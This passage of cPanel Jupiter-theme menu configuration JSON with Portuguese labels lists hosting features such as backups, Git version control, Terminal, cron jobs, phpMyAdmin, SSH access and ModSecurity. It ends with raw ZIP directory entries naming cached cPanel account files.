Usage","group":"files","url":"inode_usage/index.live.php","itemorder":"5","width":"48","itemdesc":"Inode Usage","acontent":"target=\"_self\"","subtype":"img","file":"inode_usage","plainitemdesc":"Inode Usage","target":"_self","type":"image","imgtype":"icon"},{"acontent":"","subtype":"img","itemorder":"5","itemdesc":"Disco web","width":"48","file":"web_disk","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","plainitemdesc":"Web Disk","target":"","imgtype":"icon","onclick":"","feature":"webdisk","height":"48","key":"web_disk","searchtext":"Web Disk webdav webdisk Disco web","description":"Gerenciar arquivos em vários tipos de dispositivos.","base64_png_image":"","url":"webdav/accounts_webdav.html","group":"files"},{"imgtype":"icon","plainitemdesc":"Backup","target":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","file":"backup","itemorder":"9","itemdesc":"Backup","width":"48","acontent":"","subtype":"img","implements":"Backups_Home","group":"files","url":"backup/index.html","base64_png_image":"","key":"backup","description":"Faça download e armazene seu website em um arquivo de backup.","searchtext":"Restauração de Backup","height":"48","onclick":"","feature":"backup"},{"width":"48","itemdesc":"Assistente de Backup","itemorder":"9","acontent":"","subtype":"img","file":"backup_wizard","plainitemdesc":"Backup Wizard","target":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","imgtype":"icon","height":"48","feature":"backup","onclick":"","base64_png_image":"","searchtext":"Restauração de Assistente de Backup","description":"Fazer backup de todo website ou parte dele, ou restaurá-lo do arquivo de backup mais recente.","key":"backup_wizard","group":"files","url":"backup/wizard.html"},{"key":"version_control","description":"Host repositórios Git™.","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Controle de Versão do Git™","base64_png_image":"","onclick":"","feature":"version_control","height":"48","url":"version_control/index.html","group":"files","file":"version_control","subtype":"img","acontent":"","itemorder":"10","itemdesc":"Controle de Versão do Git™","width":"48","imgtype":"icon","if":"$HASROLE{'FileStorage'}","type":"image","plainitemdesc":"[asis,Git™] Version Control","target":""},{"file":"jb5","itemorder":0,"width":"48","itemdesc":"JetBackup 5","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"JetBackup 5","type":"image","base64_png_image":"","description":"JetBackup 5","searchtext":"JetBackup 5","height":"48","onclick":"","feature":"jb5","implements":"JetBackup5","group":"files","url":"jetbackup5/index.html"}],"group":"files"},{"desc":"Avançado","group":"advanced","items":[{"url":"terminal/index.html","group":"advanced","searchtext":"terminal bash tcsh command line shell ssh Terminal","description":"Acesse um aplicativo terminal no navegador para acesso direto em linha de comando dentro de uma sessão cPanel.","key":"terminal","base64_png_image":"","feature":"ssh","onclick":"","height":"48","imgtype":"icon","type":"image","if":"$hasvalidshell && $HASROLE{'FileStorage'}","target":"","plainitemdesc":"Terminal","file":"terminal","subtype":"img","acontent":"","itemdesc":"Terminal","width":"48","itemorder":"1"},{"implements":"Cron_Home","url":"cron/index.html","group":"advanced","description":"Crie, gerencie e exclua tarefas agendadas.","searchtext":"Tarefa Cron cronjob crontab edit Tarefas Cron","key":"cron_jobs","base64_png_image":"","feature":"cron","onclick":"","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Cron Jobs","file":"cron_jobs","acontent":"","subtype":"img","itemdesc":"Tarefas Cron","width":"48","itemorder":"2"},{"group":"advanced","url":"net/index.html","height":"48","feature":"nettools","onclick":"","base64_png_image":"","searchtext":"Rastrear as ferramentas de rede DNS traceroute tracert dnslookup dig Rastrear DNS","description":"Realize rastreamento de rotas e pesquisas de domínio para diagnosticar problemas de rede.","key":"track_dns","target":"","plainitemdesc":"Track DNS","type":"image","imgtype":"icon","width":"48","itemdesc":"Rastrear DNS","itemorder":"3","acontent":"","subtype":"img","file":"track_dns"},{"base64_png_image":"","description":"Defina como o servidor exibe o índice de um diretório específico para um visitante ou para desabilitar a exibição do índice para um diretório.","searchtext":"Gerenciador de índices  Índices","key":"indexes","height":"48","feature":"indexmanager","onclick":"","group":"advanced","url":"indexmanager/index.html","file":"indexes","width":"48","itemdesc":"Índices","itemorder":"4","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Indexes","type":"image","if":"$HASROLE{'WebServer'}"},{"file":"error_pages","itemdesc":"Páginas de erro","width":"48","itemorder":"5","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Error Pages","type":"image","if":"$HASROLE{'WebServer'}","base64_png_image":"","description":"Informe os visitantes sobre problemas quando eles tentarem acessar seu site.","searchtext":"Error Pages errorlog error_log error log Páginas de erro","key":"error_pages","height":"48","feature":"errpgs","onclick":"","group":"advanced","url":"err/index.html"},{"height":"48","onclick":"","feature":"handlers","base64_png_image":"","key":"apache_handlers","searchtext":"Manipuladores de Apache extensão de manipuladores de apache configurado Cabeçalhos de Apache","description":"Controle como o software do servidor web Apache® de seu website gerencia certos tipos de arquivos e extensões de arquivo.","group":"advanced","url":"mime/handle.html","itemorder":"6","itemdesc":"Cabeçalhos de Apache","width":"48","acontent":"","subtype":"img","file":"apache_handlers","target":"","plainitemdesc":"Apache Handlers","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"group":"advanced","url":"mime/mime.html","height":"48","onclick":"","feature":"mime","base64_png_image":"","key":"mime_types","description":"Informações de retransmissão para o navegador do visitante sobre como lidar com extensões de arquivo.","searchtext":"Tipos MIME tipos mimetype Tipos de MIME","target":"","plainitemdesc":"MIME Types","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"7","itemdesc":"Tipos de MIME","width":"48","acontent":"","subtype":"img","file":"mime_types"}]},{"group":"soft_div","items":[{"imgtype":"icon","target":"","plainitemdesc":"Softaculous Apps Installer","type":"image","file":"soft_div_icons","itemdesc":"Softaculous Apps Installer","width":"48","itemorder":"10","subtype":"img","acontent":"","group":"soft_div","url":"softaculous/index.live.php","base64_png_image":"","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","height":"48","feature":"soft_div_icons","onclick":""}],"desc":"Softaculous Apps Installer"},{"desc":"Bancos de dados","items":[{"base64_png_image":"","description":"Manage databases with phpMyAdmin.","searchtext":"phpMyAdmin database db","key":"php_my_admin","height":"48","feature":"phpmyadmin","onclick":"","implements":"Database_phpMyAdmin","group":"databases","url":"sql/PhpMyAdmin.html","file":"php_my_admin","width":"48","itemdesc":"phpMyAdmin","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","target":"_blank","plainitemdesc":"phpMyAdmin","type":"image","if":"$SERVICEPROVIDED{'mysql'}"},{"implements":"Database_MySQL","group":"databases","url":"sql/index.html","base64_png_image":"","key":"mysql_databases","description":"Create, manage, and delete databases and database users.","searchtext":"Bancos de dados MySQL db Manage My Databases","height":"48","onclick":"","feature":"mysql","imgtype":"icon","plainitemdesc":"Manage My Databases","target":"","type":"image","if":"$SERVICEPROVIDED{'mysql'}","file":"mysql_databases","itemorder":"2","width":"48","itemdesc":"Manage My Databases","acontent":"","subtype":"img"},{"itemorder":"3","itemdesc":"Database Wizard","width":"48","subtype":"img","acontent":"","file":"mysql_database_wizard","target":"","plainitemdesc":"Database Wizard","if":"$SERVICEPROVIDED{'mysql'}","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"mysql","base64_png_image":"","key":"mysql_database_wizard","searchtext":"Assistente de banco de dados MySQL banco de dados mysql db Database Wizard","description":"Guided setup of a database, database users, and user privileges.","group":"databases","url":"sql/wizard1.html"},{"base64_png_image":"","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Db MySQL remoto Remote Database Access","key":"remote_mysql","height":"48","feature":"mysql","onclick":"","group":"databases","url":"sql/managehost.html","file":"remote_mysql","width":"48","itemdesc":"Remote Database Access","itemorder":"4","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Remote Database Access","target":"","type":"image","if":"$SERVICEPROVIDED{'mysql'}"}],"group":"databases"},{"items":[{"file":"account_preferences","acontent":"","subtype":"img","itemorder":1,"width":48,"itemdesc":"Preferências da Conta","imgtype":"icon","type":"image","if":"","target":"","plainitemdesc":"Account Preferences","key":"account_preferences","searchtext":"setlang change language account preferences consent privacy notification personhood system position  Preferências da Conta","description":"View and manage your preferred language, contact information, and account settings.","base64_png_image":"","onclick":"","feature":"account_preferences","height":48,"url":"account-preferences/index.html","group":"preferences"},{"feature":"setlang","onclick":"","height":"48","searchtext":"language setlang Alterar idioma","description":"Altere seu idioma padrão.","key":"change_language","base64_png_image":"","url":"setlang/index.html","group":"preferences","implements":"Locale_Change","acontent":"","subtype":"img","itemdesc":"Alterar idioma","width":"48","itemorder":"2","file":"change_language","type":"image","plainitemdesc":"Change Language","target":"","imgtype":"icon"},{"target":"","plainitemdesc":"Contact Information","type":"image","imgtype":"icon","itemdesc":"Informações de contato","width":"48","itemorder":"3","subtype":"img","acontent":"","file":"contact_information","group":"preferences","url":"contact/index.html","implements":"ContactInfo_Change","height":"48","feature":"updatenotificationprefs || updatecontact","onclick":"","base64_png_image":"","description":"Definir informações de contato e preferências.","searchtext":"e-mail de contato Informações de contato","key":"contact_information"},{"group":"preferences","url":"user_manager/index.html","base64_png_image":"","searchtext":"password change ftp email webdisk webdav service Gerenciador do usuário","description":"Gerenciar os usuários que podem acessar vários sistemas em sua conta do cPanel.","key":"user_manager","height":"48","feature":"user_manager","onclick":"","imgtype":"icon","target":"","plainitemdesc":"User Manager","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","type":"image","file":"user_manager","width":"48","itemdesc":"Gerenciador do usuário","itemorder":"4","subtype":"img","acontent":""},{"imgtype":"icon","type":"image","if":"$has_team_license","target":"","plainitemdesc":"Manage Team","file":"team_manager","acontent":"","subtype":"img","width":48,"itemdesc":"Gerenciar Equipe","itemorder":5,"url":"team-manager/index.html","group":"preferences","description":"Gerenciar Equipe","searchtext":"gerenciar equipe gerente subusuário subconta subusuário Gerenciar Equipe","key":"team_manager","base64_png_image":"","feature":"team_manager","onclick":"","height":48}],"group":"preferences","desc":"Preferências"},{"items":[{"key":"ssh_access","searchtext":"Acesso SSH ssh/shell Acesso ssh shell seguro sftp","description":"Gerenciar suas chaves SSH públicas e privadas.","base64_png_image":"","onclick":"","feature":"ssh","height":"48","url":"telnet/index.html","group":"security","file":"ssh_access","subtype":"img","acontent":"","itemorder":"1","itemdesc":"Acesso SSH","width":"48","imgtype":"icon","type":"image","plainitemdesc":"SSH Access","target":""},{"file":"ip_blocker","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Bloqueador de IP","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"IP Blocker","target":"","key":"ip_blocker","description":"Bloqueie o acesso ao seu website para um ou mais endereços IP ou nomes de domínio totalmente qualificados.","searchtext":"Bloqueador de IP gerenciador de negação de ip","base64_png_image":"","onclick":"","feature":"ipdeny","height":"48","url":"denyip/index.html","group":"security"},{"url":"ssl/index.html","group":"security","implements":"SSL_TLS_Manager","onclick":"","feature":"sslmanager","height":"48","key":"ssl_tls","searchtext":"SSL/TLS certificate key csr","description":"Criar, gerenciar e excluir certificados SSL, solicitações e chaves atribuídas.","base64_png_image":"","if":"$HASROLE{'UserSSL'}","type":"image","target":"","plainitemdesc":"SSL/TLS","imgtype":"icon","subtype":"img","acontent":"","itemorder":"3","itemdesc":"SSL/TLS","width":"48","file":"ssl_tls"},{"target":"","plainitemdesc":"Manage API Tokens","type":"image","imgtype":"icon","itemorder":"4","itemdesc":"Gerenciar tokens de API","width":"48","acontent":"","subtype":"img","file":"api_tokens","group":"security","url":"api_tokens/index.html","implements":"API_Tokens_Manager","height":"48","onclick":"","feature":"apitokens","base64_png_image":"","key":"api_tokens","description":"Criar, gerenciar e excluir tokens de API.","searchtext":"Gerenciar tokens de API acessar login de conexão de API "},{"group":"security","url":"mime/hotlink.html","height":"48","onclick":"","feature":"hotlink","base64_png_image":"","key":"hotlink_protection","description":"Evite que sites e usuários externos incorporem o conteúdo do seu site.","searchtext":"Proteção contra Hotlink","plainitemdesc":"Hotlink Protection","target":"","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"4","itemdesc":"Proteção contra Hotlink","width":"48","subtype":"img","acontent":"","file":"hotlink_protection"},{"height":"48","onclick":"","feature":"cpanelpro_leechprotect && webprotect","base64_png_image":"","key":"leech_protection","description":"Detecte níveis incomuns de atividade em diretórios restritos por senha.","searchtext":"A Proteção Leech protege Proteção do Leech","group":"security","url":"htaccess/leechprotect/leechprotect.html","itemorder":"5","itemdesc":"Proteção do Leech","width":"48","acontent":"","subtype":"img","file":"leech_protection","plainitemdesc":"Leech Protection","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"file":"mod_security","itemdesc":"ModSecurity","width":"48","itemorder":"7","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"ModSecurity","target":"","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","type":"image","base64_png_image":"","searchtext":"ModSecurity mod security mod_security","description":"Habilitar ou desabilitar ModSecurity® de seus domínios.","key":"mod_security","height":"48","feature":"modsecurity","onclick":"","group":"security","url":"security/mod_security/index.html"},{"imgtype":"icon","type":"image","if":"$HASROLE{'UserSSL'}","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":"","file":"tls_status","subtype":"img","acontent":"","itemorder":"7","itemdesc":"Status de SSL/TLS","width":"48","implements":"SSL_TLS_Status","url":"security/tls_status/","group":"security","key":"tls_status","description":"Ver, fazer upgrade ou renovar os certificados SSL dos seus domínios.","searchtext":"Status de SSL/TLS","base64_png_image":"","onclick":"","feature":"sslinstall","height":"48"}],"group":"security","desc":"Segurança"},{"group":"sitepad_div","items":[{"itemdesc":"SitePad Website Builder - Themes","width":"48","itemorder":"10","acontent":"","subtype":"img","file":"sitepad_div_icons","target":"","plainitemdesc":"SitePad Website Builder - Themes","type":"image","imgtype":"icon","height":"48","feature":"sitepad_div_icons","onclick":"","base64_png_image":"","searchtext":"SitePad Website Builder - Themes","description":"SitePad Website Builder - Themes","group":"sitepad_div","url":"../../3rdparty/sitepad/index.live.php"}],"desc":"SitePad Website Builder - Themes"}],"VERSION":5.4,"needs_security_token":{}}PK�n[.�R�Rssl_FETCHINSTALLEDHOSTSnu"�]
�PK�n[�yc���&�Rreseller_SORTEDRESELLERSUSERS_kbdhpghpnu"�]
�PK�n[:K�QQQT_Cpanel::Quota.pm__kbdhpghpnu"�]
�PK�n[��|��TCpanel::MysqlRun::runningnu"�]
�PK�n[~��U_usr_local_cpanel_cpanel_-Fnu"�]
�PK�n[���B�B�YUfile.phpnu�[���PK�n[R����
�ftp_LISTSTOREnu"�]
�PK�n[�g��mysql-db-countnu"�]
�PK�n[J��+_opt_cpanel_ea-php81_root_usr_bin_php_-n_-vnu"�]
�PK�n[C??�_bin_gem_environment_gempathnu"�]
�PK�n[/+_�m�m
�SYSTEMMIMEnu"�]
�PK�n[����2
2
IpMOUNTS_CACHE__proc_mountsnu"�]
�PK�n[,W���*�zAVAILABLE_APPLICATIONS_CACHE_pt-br_jupiternu"�]
�PK

�7l